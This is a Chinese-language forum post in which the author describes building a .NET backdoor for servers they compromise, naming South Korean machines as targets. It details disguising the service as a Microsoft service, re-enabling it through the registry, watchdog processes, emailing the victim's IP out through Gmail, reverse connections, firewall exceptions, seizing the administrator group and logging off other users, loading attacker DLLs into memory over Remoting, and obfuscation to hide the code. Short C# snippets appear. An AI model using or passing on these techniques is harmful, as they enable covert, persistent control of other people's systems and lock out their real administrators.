好不容易找到个肉鸡,经常出现被管理员删除和肉鸡被别的扫肉鸡者抢。用现成的木马一是害怕本身木马就有病毒别人没控制反倒自己中招了,另外一个木马逃不过杀毒软件,所以决定自己做个后门。大家会有疑问,如果服务器没装.net怎么办,这个不是问题,因为只有服务器肉鸡才有利用价值,winxp的客户机肉鸡没什么用因为不能同时终端登录而且普通用户机器不是常开的ip也是每次都不一样,这样子反正对我就没什么用,我只要服务器肉鸡,对了说一下,我只扫南棒的肉鸡,从来不扫、不动国内的机器,所以以下我说的都是南棒的情况。南棒的win服务器基本都是win2003,而近期我找的南棒服务器100%都安装了.net 2.0(注意不是2k3自带的1.1),即使是南棒的客户winxp也基本都装了.net,所以运行不是问题,所以即使有个别的服务器没装那3389进去给他装一个就行了,一共20来兆。南棒的机器配置太强了,动不动就xeon 4核e9450 4核什么的,内存没有4g以下的,全是4g 8g的,网络那叫一个快啊,下载国内网站的文件1、2兆字节每秒,看的让人直流口水。所以说前边说即使他没装.net,那给它下载安装也就是刷一下的功夫。而且他们服务器似乎没人管,上次误操作给一个机器关机了,几天了发现还没开机呢,这么好的硬件这么好的网络他们基本就放个烂网页就完了,netstat -an一看都没几个人链接。
下面说到正体了,把程序加到启动组什么的方法一下子就发现了,所以最好就是做成win服务,c#编写服务和普通程序没太大区别,就是多了一个右键添加安装程序,把那2个控件改成localsystem,这样就显示是system帐号启动的程序,另一个改成自动启动,在服务那里改成不能中止,另外应该把服务伪装成微软的服务这样不容易被发现,伪装方法就是照着真的微软服务的名字、描述什么的改成很像真的那种,这些都在属性面板里设置就行了,还有在项目的assemblyinfo.cs里把厂商啊版本号什么的都改成类似(C) Microsoft Corporation. All rights reserved.这样的东西就行了,这样安装后用msconfig看,他就把这个服务当成真的微软的服务了。
这里有个问题如果管理员禁用了这个服务怎么办,这样就可以在服务里加一个system.timer.timer(注意不是system.windows.form.timer),定期用microsoft.win32.RegistryKey类读写注册表来改成自动开启。
如果在任务管理器里退出了服务进程怎么办,在.net下我找遍了网络也没有好的办法,因为.net不能用非托管代码隐藏进程apihook 注入什么的那些方法,只能用多进程互相保护的方法,比如2个进程互相监视一个退出了另一个把他启动。
应该加个功能在服务onstart的时候用system.net.mail smtp把本机的ip地址等一些信息发到制定邮箱里,这里注意smtp服务器不要用他本机iis的smtp,因为我试过那种自己构造smtp协议然后socket向服务器发送的无组件发邮件的那种,也试过用本机iis的smtp发送都不成功都返回了一个信息,就意思就是说当前的ip地址他不信任,当成垃圾邮件拒绝接受,如果认为不是垃圾邮件可以与他公司联系,我试过gmail和163.com都返回这样的结果,所以smtp只能用一个知名的邮箱才行,我用的gmail,gmail有个好处即使帐号被锁定,smtp还是可以发送成功,我的那个专门发邮件的帐号几乎每天都被锁定,但是一会就解封了,不过gmail是ssl连接比普通smtp在代码里要麻烦一点。
还一个问题就是有的服务器有防火墙,虽看到开了端口但是连不上,这样程序应该加个反向连接的功能,比如程序不但开端口,而且另开一线程定期读取网络上某个页面的ip,然后试图连接这个ip,这边申请一个免费主页,上线的时候把这次本机的ip改一下,等待那边连接。还有服务器那边应该在他的防火墙ics里加入到"例外",或者停止ics服务。还不行那可能就是这服务器前边网关的限制只能开哪几个端口那就没办法了。
还有一个为了防止抢肉鸡我加入了一个功能,1、定期把自己的帐号写入管理员组如果禁用就开禁,如果密码被改就改回来2、把管理员组里除了排除的用户外其他帐号一律删除,服务器管理员90%都是administrator帐号一个,其他的基本都是被人加上的,还有一个,终端服务里console登陆的一定是真的管理员,还有凭经验分析哪些是真的这些都是排除的,其他的一律用程序定期删除3、终端服务里已登陆用户过滤console的和排除的用户,其他的一律用程序定期给它断开。这里就有问题了,一般加删帐号用net user就行了或者net1 user,看终端用query user或者quser,断掉终端用logoff id,但是现在很多人终端进去就把这些删除了或者改了,所以用这些是不保险的,本来我是把本机的这些文件作为资源加进程序运行释放再调用,后来发现及其缓慢问题多多,后来选择用api,netapi32.dll和wtsapi32.dll里面的api就能完全解决上面的问题,用api的好处是进程看不到不停地变化,速度也快,而且这2个dll是不能被删除或者改写的,尤其是netapi32.dll,当初诺顿造成系统启动不了就是他删除了这个dll造成的,不过用法比较麻烦,在msdn里面有解释不过全是e语的,而且那些结构和枚举的内容还有常量的定义,得一点一点的找,pinvoke.net还有搜索引擎找还得金山词霸+msdn,全e语的看的头都大了,还有一个释放非托管内存的问题,.net下习惯了从来不考虑内存释放的问题,所以开始一点也没想到要释放内存,不过pinvoke的例子发现得一点一点的用释放内存的函数释放内存,试了一下如果不加上那些函数,进程内存就直线上升,因为这些步骤是要循环了,如果不释放可能几个小时后就几百兆打了,这些都很讨厌的是要注意的。
服务内容基本就是这样的了。
下面说连接方式,开始用的socket的tcpclient,问题重重。网上的例子全是传字符串的,但是实际如果在网络上而且传文件就不行了,比如监听连接成功后,networkstream.read(),那些代码下面都是读取缓冲区的字节数组,但是我就经常遇到连接成功后一开始read就是读到了0字节或者超时什么的或者对方积极拒绝或者关闭了一个连接,如果循环读直到不是0字节的话经常就又卡住了,传文件的时候对方不知道到底文件有多大,小文件可以,大一点就不行了,即使开始加上文件大小也经常出各种问题。所以说网上那些代码都是不能实际使用的,mdsn的例子也很简单也不能用,用sniffer看了一下ftp协议,他是21端口文本连接,发送的时候临时开个端口传送,但是不知道他是怎么直到2进制文件有多大的,也不知道那些异常的情况是怎么处理的,总之感觉要用tcpclient处理非常困难。udp就更不用考虑了。于是看到了remoting,第一次看remoting,开始看着他们说的都是应用程序域啊dataset什么的,感觉和网络没什么关系,后来看了一下是可以传送远程对象,一想如果远程对象里如果有个字段是byte[]什么的载具传过来不就行了吗,后来仔细看了一下发现remoting真是个好东西啊,因为他能传远程对象也能远程执行对象的方法,而不考虑网络传输部分,那比我开始只要求的服务器后门可以上传下载执行cmd的要求可是高多了,实际应用效果很好。应用看下面
反射
如果把功能写死在服务器的那个服务里面,坏处很多,第一如果你这边有新的功能,必须给每个服务器都重新上传新exe并安装服务器,而且在本机的执行器程序不能通用,这是非常讨厌的,反射解决了问题,服务器的服务程序不用变化了,然后功能模块在客户端这边写,remoting连接的时候把客户这边的dll加载到代理类的assembly字段,然后就可以动态的反射使用了
比如这样
public class daili:MarshalByRefObject
{
Asembly assembly;
public void setdll(byte[] bt)
{
assembly=new Assembly.Load(bt);
}
}
这样服务器那边就把具体执行的代码从客户端穿过去加载到服务器内存中并可以使用了,然后可以gettype methedinfo.invoke,也行,也可以在代理类里写一个方法,把服务器刚获得的assembly生成一个服务器对象,并给客户端他的引用,这样就和代码写在服务器里一样了,这样服务端就不用动了,要实现什么功能就在客户端改就行了,想想真幸福啊,因为这样基本可以实现任何在你本机可以实现的功能,而且就像在本机执行一样,不用考虑网络传输,比如上一篇我说的死机代码,我就用这个方法在服务器执行也死机了,马上就死机了。这样子反射有3好处,第一是服务器不用改,他没有具体实现,只有加载dll和返回服务器对象的代码,第二就是代码隐藏的好,因为动态加载的dll是在服务器内存中的,没有文件,即使对方如果发现并且用反编译的那个工具看代码也什么也看不到只能看到代理类,没有具体实现的代码,第三就是.net的dll因为是il所以个头异常小,即使写了很多功能代码dll也才3、4十k,不存在传输障碍。我使用的tcpchannel,不需iis,这又有一个生存周期的问题,用服务器激活2种方式都不适用,singalton只有一个对象,那么如果你在执行着断线了什么的再连那就可能出现错误,singalcall的代理对象不保存,比如上面代码刚执行完服务器得到dll,这个方法一执行完assembly就没有了。所以客户端激活正好,每个客户进来都得到自己的对象,这样如果断线重连,得到就是新的对象,对象也有保存性,用生存周期保存,这样就可以设定了
ILease lease;
public override Object InitializeLifetimeService()
{
lease = (ILease)base.InitializeLifetimeService();
if (lease.CurrentState == LeaseState.Initial)
{
lease.InitialLeaseTime = TimeSpan.FromMinutes(10);
lease.SponsorshipTimeout = TimeSpan.FromSeconds(30);
lease.RenewOnCallTime = TimeSpan.FromMinutes(10);
}
return lease;
}
这样子就说,对象设定保存10分钟,如果10分钟得到客户续订再开10分钟,如果10分钟没得到客户续订信号等待30秒,30秒得到续订再开10分钟,30秒后还没得到续订就回收对象。这样子客户端就不用管释放的问题了,刚刚好。不过这里有个问题比如虽然设定了对象是10分钟,但是如果它执行dll里面有个死循环,那么他就不管是不是得到客户端的续订都一直执行下去,这个代码中要考虑。这些我都是测试过的,比如在服务端console显示还有多长时间生存期,如果是while(true)显示到点后会这样
还有 1秒
还有 0秒
还有 -1秒
还有 -2秒
还有 MarshalByRefObject,就是得到服务器对象的引用,如果客户端代码这样
Bitmap bp=serverobj.getimage();
bp.save(@"c:/1.bmp");
那么并不是保存在你的c盘而是服务器的c盘,如果想把服务器的图传到客户这边那就只能把图转成byte[] 放到memorystream里,
返回一个memorystream引用,再在本地建一个byte[] ,ms.read(bt),这样就用远程memorystram对象把内容读到本地byte[]里,转成bitmap,还有有的对象没有直接转成byte[] 的方法,好像bitmap就没有,那就必须用binaryformmter把bitmap序列化到ms里,传到客户端后反序列化得到对象实例而不是引用再save就是保存到自己的c盘了。不过要序列化的类不能加 MarshalByRefObject,而且要加上 [Serializable]标签,如果既没有 [Serializable]也没有MarshalByRefObject,客户端这边就会报错说该类没标记为可序列化。还有一些不可序列化的东西就不能传送实例,只能传引用。还有代理类不需要单独编译成dll分别放在服务器客户端两边,直接放在服务器和客户端的代码里面就行,但是必须把服务器和客户端这两个项目的程序集名称和命名空间名称改成一样的就行了,动态加载的那个dll,程序集和命名空间没有要求,但是调用和反射的时候要写全名包括程序集名称。
注册remoting的时候因为不知道服务器是否占用了指定端口,可以通过try catch,如果占用重开端口+1就可以了
混淆。.net非常令人讨厌的一点就是代码可以被反编译,这样子就可以轻而易举的得到代码里面的内容比如验证的内容或者字符串什么的,还有一下子就知道这段代码是干什么的(因为我发现南棒的服务器机器里好多都安装了vs2005,他们的网站也大都是asp.net的,所以估计服务器的主人应该可以看懂代码),这种感觉令人非常不爽,可以用Dotfuscator Professional Edition来混淆,这样反编译后看到的比如字符串什么的内容和主要方法体都不会被反编译出来了,但是通过反射的方法不能用Dotfuscator的默认方法来混淆,因为默认的方法把类名方法名都混淆了,而remoting的就不能创建服务器对象了,因为找不到你代码中说的那个类,所以可以通过Dotfuscator Professional Edition的类库模式来混淆,类库模式混淆后方法名类名都不会被混淆,但是方法体会被混淆成不容易看出来的代码,这种混淆效果比默认的混淆要差不少,但是总比直接看清晰的代码好的多了,而且还是有一部分是不会被反编译出来的,也算勉强满足要求。所以,后面动态加载反射的那个dll也是可以用类库方式来混淆的。
好了,整个过程就是这样了,remoting既方便又麻烦,方便在不管网络连接,麻烦在引用还是实例能不能序列化等过程上,最后取得的效果还是比较令人满意的,反射dll执行高级应用比如能多线程执行啊,事件啊这些内容我还得边做边学,不过暂时不搞这么复杂,只要他执行方法就行了,如果有了好的方法了,再改进就行了,反正服务器那边不用动,这边本地dll写什么内容到时候他就执行什么内容哈哈。